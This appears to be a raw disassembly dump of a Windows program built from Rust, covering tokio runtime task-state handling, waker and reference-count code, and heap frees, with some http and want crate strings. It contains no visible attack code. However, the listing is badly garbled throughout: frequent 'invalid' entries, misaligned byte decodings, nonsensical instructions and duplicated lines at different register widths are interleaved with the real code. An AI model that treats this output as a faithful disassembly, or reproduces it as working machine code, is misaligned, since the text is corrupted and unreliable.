add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
or eax, 0x11178a
mov dl, byte [rdi]
adc dword [rax], eax
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
invalid
mov rcx, qword [rdx + rcx*8]
retf 0x110f
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
test al, al
je 0x140070c3c
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rsi
int1
call fcn.1400e6c50
movzx eax, al
lea rcx, [0x1401785d4]
adc byte [rax], al
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
add rcx, 0x10
add ecx, 0x10
adc byte [rax - 0x77], cl
mov rdx, rsi
mov r8b, 1
mov r8b, 1
call fcn.1400ec490
mov rax, 0xffffffffffffffc0
invalid
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140070cfc
add byte [rax], al
add byte [rax], al
and rax, 0xffffffffffffffc0
and eax, 0xffffffc0
cmp rax, 0x40
jne case.0x140070a56.2
add byte [rax], al
add byte [rax], al
mov rcx, rsi
call 0x140071030
jmp case.0x140070a56.2
lea rdi, [rsi + 0x20]
mov dword [rsp + 0x38], 0x3b9aca01
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140071860
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
and al, 0x48
add byte [rax], al
add byte [rax], al
retf 0x3b9a
and al, 0x48
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], rax
jmp 0x140070c62
mov dword [rsp + 0x38], 0x3b9aca01
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140071860
add byte [rax], al
cmp byte [rcx], al
retf 0x3b9a
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x38], 0x3b9aca00
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140071860
mov rcx, rsi
call 0x1400710f0
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x30]
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
pop rax
pop rdi
pop rsi
jmp 0x140071030
and al, 0x50
mov dword [rsp + 0x30], 0x3b9aca00
lea rdx, [rsp + 0x28]
mov rcx, rsi
call fcn.140071860
mov rcx, rdi
add rsp, 0x58
pop rdi
pop rsi
jmp 0x1400710f0
or eax, 0x58d4c00
sbb esp, ebx
or eax, 0x27ba00
add byte [rax], al
call fcn.140108630
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14007104d
invalid
or dword [rax - 0x73], ecx
and al, r13b
js 0x14007104b
lea rcx, [rsi + 0x20]
call fcn.140068890
invalid
dec dword [rbx - 0x3576c7b2]
mov ecx, dword [rsi + 0x38]
mov edx, ecx
and edx, 0xfffffffe
add ecx, 0xc4653601
xor eax, eax
cmp edx, 0x3b9aca00
cmove eax, ecx
cmp eax, 1
je 0x14007107a
test eax, eax
jne 0x1400710b7
lea rcx, [rsi + 0x30]
call fcn.14006fd90
jmp 0x1400710b7
cmp qword [rsi + 0x40], 0
je 0x1400710b7
mov rdi, qword [rsi + 0x48]
test rdi, rdi
je 0x1400710b7
mov rbx, qword [rsi + 0x50]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400710b7
cmp qword [rbx + 0x10], 0x11
jb 0x1400710a5
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x70]
test rax, rax
je 0x1400710c7
mov rcx, qword [rsi + 0x78]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
push rsi
sub rsp, 0x80
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
invalid
jne 0x140071100
invalid
test al, 1
je 0x1400711a2
test al, 2
jne 0x1400711ba
test al, 8
jne 0x14007113a
lea rcx, [rsi + 0x20]
mov dword [rsp + 0x30], 0x3b9aca01
lea rdx, [rsp + 0x28]
call fcn.140071860
jmp 0x140071152
test al, 0x10
je 0x140071152
mov rax, qword [rsi + 0x70]
test rax, rax
je 0x14007123e
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
js 0x14007114f
mov rcx, qword [rsi + 0x78]
call qword [rax + 0x10]
push rax
adc byte [rax - 0x75], cl
and byte [rax - 0x77], r9b
bnd call fcn.1400ec330
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec330
cmp rax, 1
mov eax, 2
clc
add dword [rax + 2], edi
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
neg eax
neg eax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x1400711d2
invalid
jne 0x140071198
mov rcx, rsi
add rsp, 0x80
pop rsi
jmp 0x140071030
nop
add rsp, 0x80
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ea18]
add byte [rdx + 0x23], bh
add byte [rdx + 0x23], bh
call fcn.140108630
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014ea58]
mov edx, 0x25
call fcn.140108630
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:_p
fmul dword [0x184905a06]
and al, 0x28
fmul dword [0x184905a06]
and al, 0x28
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
lea rdx, [0x14014eaa0]
lea rcx, [rsp + 0x28]
sub al, ch
and dh, byte [rbx + 9]
invalid
sub al, ch
and dh, byte [rbx + 9]
add byte [rax - 0x73], cl
add eax, 0xdd403
lea rax, str.waker_missing
mov qword [rsp + 0x28], rax
and al, 0x28
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
ror dword [0x18c945a6e], cl
and al, 0x28
ror dword [0x18c945a6e], cl
and al, 0x28
call fcn.140108560
int3
add byte [rax], al
mov rsi, rcx
mov rax, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
jmp 0x1400712ba
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
or ecx, 1
or ecx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je case.0x140051497.97
test al, 4
je 0x14007152d
test byte [rbx + 2], ch
add byte [rax], al
test byte [rbx + 2], ch
add byte [rax], al
test al, 3
je 0x1400712a0
cmp rax, 0x3f
jbe 0x140071545
lea rcx, [rax - 0x40]
lea ecx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x1400712ba
movzx eax, dl
lea rcx, [0x1401785e4]
adc byte [rax], al
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
adc edx, ebx
or eax, 0x44894800
and al, 0x60
and al, 0x60
mov qword [rsp + 0x68], rsi
and al, 0x68
lea rax, [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x70], eax
and al, 0x70
mov qword [rsp + 0x78], rax
and al, 0x78
mov qword [rsp + 0x80], 0
mov eax, dword [rsi + 0x38]
cmp byte [rbx + 0x3dfee0], r8b
retf 0x3b9a
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx - 0x1f7cc7ba], cl
invalid
cmp byte [rbx + 0x3dfee0], r8b
retf 0x3b9a
je 0x14007155d
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14007139a
xorps xmm6, xmm6
test eax, eax
jne 0x1400713c6
push rdi
test byte [rbp - 0x749c8a40], 5
stosd dword [rdi], eax
movups xmmword [rax], xmm0
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e4030]
lodsb al, byte [rsi]
sub al, 7
invalid
ret 0x8d49
lodsb al, byte [rsi]
sub al, 7
add byte [rax - 0x77], cl
retf
mov rbx, rcx
mov ebx, ecx
mov rcx, rax
call fcn.1400d4720
invalid
invalid
invalid
mov rcx, rbx
mov byte [r14 + 0x120], 1
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
xchg byte [rax], ah
add dword [rax], eax
and byte [rcx], al
add byte [rax], al
add byte [rcx], al
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rcx], al
mov eax, dword [0x140182314]
add eax, 0x110f74
movups xmmword [rax], xmm0
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
add byte [rax - 0x73], cl
push rsp
and al, 0x70
lea rdx, [rsp + 0x70]
call fcn.14006fe90
mov ecx, dword [0x140182314]
movups xmmword [rax], xmm0
movups xmmword [rax], xmm0
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x140071424
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
test ecx, ecx
jne 0x14007143e
mov ecx, dword [0x140182314]
sbb ecx, dword [rdi]
adc dword [rax], eax
invalid
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
invalid
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
mov edi, dword [rdx + rcx*8]
mov rdi, qword [rdx + rcx*8]
mov edi, dword [rdx + rcx*8]
retf 0x8d48
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
adc eax, 0x72c1c
invalid
adc eax, 0x72c1c
sbb al, 0x2c
invalid
mov ebx, eax
call fcn.1400d4720
mov eax, ebx
mov byte [rdi + 0x120], 1
add dword [rax], eax
add byte [rcx], al
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
or eax, 0x110eea
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
or al, 0xca
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
lea edi, [rsi + 0x20]
test al, al
je 0x1400714d5
invalid
mov eax, dword [rax]
add byte [rax], al
ror byte [rdi], 0x84
mov eax, dword [rax]
test byte [rbx + 0x48000000], cl
mov ecx, esi
add byte [rax], al
mov rcx, rsi
call fcn.1400e6c50
movzx eax, al
lea rcx, [0x1401785f4]
cwde
jno 0x14007146b
add byte [rax + 0x63], cl
add al, 0x81
push rdi
invalid
cwde
jno 0x14007146b
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eaa70
and byte [rax - 0x77], cl
bnd call fcn.1400eaa70
mov rax, 0xffffffffffffffc0
rol al, 0xff
invalid
invalid
lock xadd qword [rsi], rax
cmp rax, 0x3f
clc
invalid
jbe 0x140071595
invalid
add dword [rax], eax
add byte [rax], al
clc
invalid
invalid
add byte [rax], al
and rax, 0xffffffffffffffc0
and eax, 0xffffffc0
cmp rax, 0x40
jne case.0x140071463.0
mov rcx, rsi
call fcn.1400717a0
jmp case.0x140071463.0
mov dword [rsp + 0x38], 0x3b9aca01
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140071860
retf 0x3b9a
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
and al, 0x48
add byte [rax], al
add byte [rax], al
and al, 0x48
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], rax
jmp 0x1400714fb
mov dword [rsp + 0x38], 0x3b9aca01
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140071860
add byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0
add byte [rax], al
invalid
add byte [rax], al
add bh, al
and al, 0x38
add dl, cl
invalid
mov dword [rsp + 0x38], 0x3b9aca00
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140071860
mov rcx, rsi
call fcn.140071a00
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x30]
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
and r15b, al
and al, 0x28
add edx, ecx
invalid
invalid
ror byte [rax - 0x7d], cl
invalid
and eax, 0x58
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400718d2
xorps xmm6, xmm6
test eax, eax
jne 0x1400718fe
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x72774
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x72774
mov rbx, rcx
mov rcx, rax
call fcn.1400d4720
mov rcx, rbx
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rdi
lea rdi, [rcx + 0x10]
mov edx, dword [rcx + 0x18]
mov r8d, edx
and r8d, 0xfffffffe
add edx, 0xc4653601
xor eax, eax
cmp r8d, 0x3b9aca00
cmove eax, edx
cmp eax, 1
je 0x140071931
test eax, eax
jne 0x14007196f
mov rcx, rdi
call fcn.14006fd90
jmp 0x14007196f
cmp qword [rcx + 0x20], 0
je 0x14007196f
mov rbx, qword [rcx + 0x28]
test rbx, rbx
je 0x14007196f
mov r14, qword [rcx + 0x30]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x14007196f
cmp qword [r14 + 0x10], 0x11
jb 0x14007195d
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movups xmmword [rdi + 0x20], xmm2
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400719d5
test eax, eax
jne 0x1400719ef
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
call 0xc94f1bac
and al, 0x28
lea rax, [0x1400e6970]
mov qword [rsp + 0x30], rax
lea rax, [0x140173648]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rcx, [rsp + 0x38]
call fcn.140108560
int3
test rax, rax
je 0x140071c55
cmp rax, 1
jne 0x140071c4d
mov rdi, qword [rsi + 8]
mov rsi, qword [rsi + 0x10]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140071c4d
cmp qword [rsi + 0x10], 0x11
jb 0x140071c34
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
clc
clc
add rsp, 0x28
pop rdi
pop rsi
sub byte [rdi + 0x5e], bl
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rdi
pop rsi
ret
mov rcx, rsi
call fcn.1400663e0
cmp byte [rsi + 0x80], 2
jb 0x140071c91
mov rdi, qword [rsi + 0x88]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0xa8]
mov rax, qword [rsi + 0x90]
mov rdx, qword [rsi + 0x98]
mov r8, qword [rsi + 0xa0]
call qword [rax + 0x10]
mov rax, qword [rsi + 0xb0]
xchg byte [rax + 0x48000000], dh
mov edx, dword [rsi + 0xb8]
xchg byte [rax + 0x48000000], dh
mov edx, dword [rsi + 0xb8]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0xc0]
add rsi, 0xc8
mov rcx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
sub byte [rax - 0x77], cl
invalid
nop
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdi + 0x110], rcx
jne 0x140071f30
test rax, rax
jne 0x140071f71
mov rax, qword [rdi + 0x100]
mov rcx, qword [rdi + 0x108]
mov qword [rdi + 0x100], 0
lock and qword [rdi + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x140071f71
sal byte [rbx + rax - 1], 0x50
or al, dh
dec qword [rdi]
call qword [rax + 8]
lock dec qword [rdi]
jne 0x140071f83
mov rcx, qword [rsi + 0xa8]
call 0x140066d40
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x140071fff
lock dec qword [rax]
jne 0x140071fff
mov rcx, qword [rsi + 0x68]
mov rdx, qword [rsi + 0x70]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140004950
invalid
nop
add rsp, 0x28
pop rdi
pop rsi
ret
or byte [rax], al
lea r14, [rbx + 0x1a0]
lea r15, [rbx + 0x80]
lea r12, [rsp + 0x30]
lea r13, [rsp + 0x48]
lea rbp, [0x1401429d3]
nop word cs:[rax + rax]
mov rcx, r13
mov rdx, r14
mov r8, r15
call fcn.140066ee0
mov rsi, qword [rsp + 0x148]
lea rax, [rsi - 3]
cmp rax, 2
jb 0x140072461
lock sub qword [rbx + 0x1c0], 2
jb 0x14007256c
cmp esi, 2
je 0x1400723a0
mov r8d, 0x100
lea rcx, [rsp + 0x168]
mov rdx, r13
call fcn.140106530
mov qword [rsp + 0x28], rsi
lea rax, [rsp + 0x150]
movups xmm0, xmmword [rax]
movups xmmword [r12], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14007255d
mov rsi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
mov r8d, 0x11
mov rcx, rax
mov rdx, rbp
call fcn.140065c80
mov qword [rsp + 0x160], rsi
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x160]
call fcn.140067100
jmp 0x1400723a0
lock dec qword [rbx]
mov rsi, qword [rsp + 0x40]
jne 0x140072474
mov rcx, qword [rsi]
call 0x140066d40
mov eax, 3
xchg qword [rdi + 0x10], rax
mov qword [rsp + 0x28], rax
cmp rax, 2
jb 0x140072526
je 0x140072500
cmp rax, 3
je 0x140072526
lea rax, [rsp + 0x28]
mov qword [rsp + 0x160], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x168], rax
lea rax, [0x140173560]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x160]
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
mov qword [rsp + 0x60], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fwant_0.3.1_srclib.rsp5
lea rcx, [rsp + 0x48]
call fcn.140108560
nop dword [rax]
mov al, 1
xchg byte [rdi + 0x28], al
test al, al
jne 0x140072500
mov rax, qword [rdi + 0x18]
mov rcx, qword [rdi + 0x20]
mov qword [rdi + 0x18], 0
xor edx, edx
xchg byte [rdi + 0x28], dl
test rax, rax
je 0x140072526
call qword [rax + 8]
lock dec qword [rdi]
jne 0x140072548
mov rcx, qword [rsi + 8]
add rsp, 0x268
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.140066cf0
nop
add rsp, 0x268
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 8
mov edx, 0x38
call fcn.1401082c0
mov ecx, 7
int 0x29
ud2
movdqu xmm2, xmmword [rcx + r8]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r9d, xmm3
test r9d, r9d
je 0x140072780
mov rax, qword [rsp + 0x28]
movzx r10d, byte [rax]
mov qword [rsp + 0x70], rdx
jmp 0x14007262f
test bpl, bpl
je 0x1400728eb
lea r9d, [r11 - 1]
and r9d, r11d
test r9w, r9w
mov rdx, qword [rsp + 0x70]
je 0x140072780
mov r11d, r9d
tzcnt ebx, r11d
add rbx, r8
and rbx, qword [rsp + 0x38]
cmp byte [rcx - 0x77], cl
invalid
neg r9
lea r9, [r9 + r9*2]
shl r9, 4
lea r14, [rcx + r9]
add r9, rcx
add r9, 0xffffffffffffffd0
cmp r10d, 1
je 0x1400726e0
cmp byte [rcx - 0x77], cl
invalid
cmp r10d, 2
jne 0x1400728eb
movzx ebp, byte [r9]
cmp bpl, 2
cmp ch, 2
cmp ch, 2
jne 0x140072610
mov rax, qword [rsp + 0x28]
mov r12, qword [rax + 8]
mov r15, qword [r12 + 0x10]
mov r13, qword [r14 - 0x28]
cmp r15, qword [r13 + 0x10]
jne 0x140072619
mov r12, qword [r12 + 8]
mov r13, qword [r13 + 8]
xor ebp, ebp
nop dword [rax]
cmp r15, rbp
je 0x140072711
movzx eax, byte [r12 + rbp]
movzx edi, byte [r13 + rbp]
inc rbp
lea esi, [rax - 0x41]
cmp sil, 0x1a
setb sil
shl sil, 5
lea edx, [rdi - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or sil, al
or dl, dil
cmp sil, dl
je 0x1400726a0
jmp 0x140072619
movzx ebp, byte [r9]
cmp bpl, 1
jne 0x140072610
mov rax, qword [rsp + 0x28]
cmp byte [rax + 1], 0
movzx ebp, byte [r14 - 0x2f]
je 0x140072708
test bpl, bpl
jne 0x140072711
jmp 0x140072619
test bpl, bpl
jne 0x140072619
mov rax, qword [rsp + 0x28]
mov r15, qword [rax + 0x20]
cmp r15, qword [r14 - 0x10]
jne 0x140072619
mov rax, qword [rsp + 0x28]
mov r12, qword [rax + 0x18]
mov r14, qword [r14 - 0x18]
xor r13d, r13d
nop word cs:[rax + rax]
cmp r15, r13
je 0x1400727a7
movzx eax, byte [r12 + r13]
movzx edx, byte [r14 + r13]
inc r13
lea esi, [rax - 0x41]
cmp sil, 0x1a
setb sil
shl sil, 5
lea edi, [rdx - 0x41]
cmp dil, 0x1a
setb dil
shl dil, 5
or sil, al
or dil, dl
cmp sil, dil
je 0x140072740
jmp 0x140072619
pcmpeqb xmm2, xmm1
pmovmskb r9d, xmm2
test r9d, r9d
jne 0x1400728a6
add r8, rdx
add r8, 0x10
add rdx, 0x10
and r8, qword [rsp + 0x38]
jmp 0x1400725d9
shl rbx, 4
lea rdx, [rbx + rbx*2]
sar rdx, 4
movabs rax, 0xaaaaaaaaaaaaaaab
imul rax, rdx
lea r8, [rax - 0x10]
and r8, qword [rsp + 0x38]
movdqu xmm0, xmmword [rcx + r8]
pcmpeqd xmm1, xmm1
pcmpeqb xmm0, xmm1
psllw xmm0, 7
pmovmskb r10d, xmm0
movdqu xmm0, xmmword [rcx + rax]
pcmpeqb xmm0, xmm1
pmovmskb edx, xmm0
test r10d, r10d
je 0x1400727ff
bsr r10w, r10w
xor r10d, 0xf
jmp 0x140072804
mov r10w, 0x10
or edx, 0x10000
tzcnt edx, edx
add r10d, edx
mov dl, 0x80
cmp r10w, 0xf
ja 0x140072825
mov rdx, qword [rsp + 0x30]
inc qword [rdx + 0x20]
mov dl, 0xff
mov byte [rcx + rax], dl
mov byte [rcx + r8 + 0x10], dl
mov rax, qword [rsp + 0x30]
dec qword [rax + 0x28]
movdqu xmm0, xmmword [r9]
movdqu xmm1, xmmword [r9 + 0x10]
movdqu xmm2, xmmword [r9 + 0x20]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x60], xmm2
movdqa xmmword [rsp + 0x50], xmm1
movzx eax, byte [rsp + 0x40]
cmp al, 3
je 0x1400728a6
cmp al, 2
jb 0x14007288f
mov rbx, qword [rsp + 0x48]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x68]
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
call qword [rax + 0x10]
mov rdx, qword [rsp + 0x30]
add rdx, 0x70
lea rcx, [rsp + 0x40]
mov r8, qword [rsp + 0x28]
call fcn.14006e1d0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x40], rax
je 0x1400728d9
lea rcx, [rsp + 0x40]
call fcn.140066900
nop
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rsp
mov edx, 0x28
call fcn.140108630
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x4768
call fcn.140102180
sub rsp, rax
movdqa xmmword [rsp + 0x4750], xmm10
movdqa xmmword [rsp + 0x4740], xmm9
movaps xmmword [rsp + 0x4730], xmm8
movdqa xmmword [rsp + 0x4720], xmm7
movdqa xmmword [rsp + 0x4710], xmm6
mov qword [rsp + 0x200], r8
mov rbx, rdx
mov qword [rsp + 0x1f8], rcx
lea rax, [rdx + 0xe0]
mov qword [rsp + 0x38], rax
lea rax, [rdx + 0xe8]
mov qword [rsp + 0x88], rax
lea rax, [rdx + 0x160]
mov qword [rsp + 0x90], rax
lea rax, [rdx + 0x140]
mov qword [rsp + 0xb0], rax
lea rax, [rdx + 0x188]
mov qword [rsp + 0x80], rax
